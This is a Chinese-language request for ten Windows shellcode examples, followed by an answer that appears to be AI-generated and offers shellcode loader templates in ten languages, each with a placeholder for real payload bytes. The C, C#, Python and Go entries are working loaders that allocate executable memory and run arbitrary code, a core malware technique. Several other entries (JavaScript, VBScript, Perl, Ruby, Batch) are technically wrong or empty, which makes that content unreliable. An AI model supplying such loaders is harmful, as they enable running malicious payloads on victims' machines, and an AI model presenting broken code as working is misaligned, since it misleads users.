给我在windows平台运行的shellcode语言代码写十个例子:
- 使用PowerShell编写的shellcode:
$shellcode = <shellcode>
Invoke-Expression -Command $shellcode
- 使用Python编写的shellcode:
import ctypes
shellcode = bytearray(<shellcode>)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
allocated_memory = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(allocated_memory),
shellcode,
ctypes.c_int(len(shellcode)))
ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(allocated_memory),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
- 使用C编写的shellcode:
#include <windows.h>
int main() {
char shellcode[] = <shellcode>;
void* allocated_memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(allocated_memory, shellcode, sizeof(shellcode));
((void(*)())allocated_memory)();
return 0;
}
- 使用VBScript编写的shellcode:
Dim shellcode
shellcode = <shellcode>
ExecuteGlobal shellcode
- 使用C#编写的shellcode:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class Program
{
static void Main()
{
byte[] shellcode = <shellcode>;
IntPtr allocatedMemory = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, allocatedMemory, shellcode.Length);
IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocatedMemory, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
const UInt32 MEM_COMMIT = 0x1000;
const UInt32 MEM_RESERVE = 0x2000;
const UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
- 使用JavaScript编写的shellcode:
var shellcode = unescape("<shellcode>");
var memory = new Uint8Array(shellcode.length);
for (var i = 0; i < shellcode.length; ++i) {
memory[i] = shellcode.charCodeAt(i);
}
var func = new Function("shellcode", "return eval(shellcode);");
func(memory);
- 使用Perl编写的shellcode:
my $shellcode = <shellcode>;
eval $shellcode;
- 使用Ruby编写的shellcode:
shellcode = "<shellcode>"
eval shellcode
- 使用Batch编写的shellcode:
<shellcode>
- 使用Go编写的shellcode:
package main
import (
"syscall"
"unsafe"
)
func main() {
shellcode := []byte(<shellcode>)
allocatedMemory, _, _ := syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Addr(), 4, 0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)
syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0, 0, 0)
syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
}
请注意,上述代码中的<shellcode>占位符应替换为实际的shellcode字节码
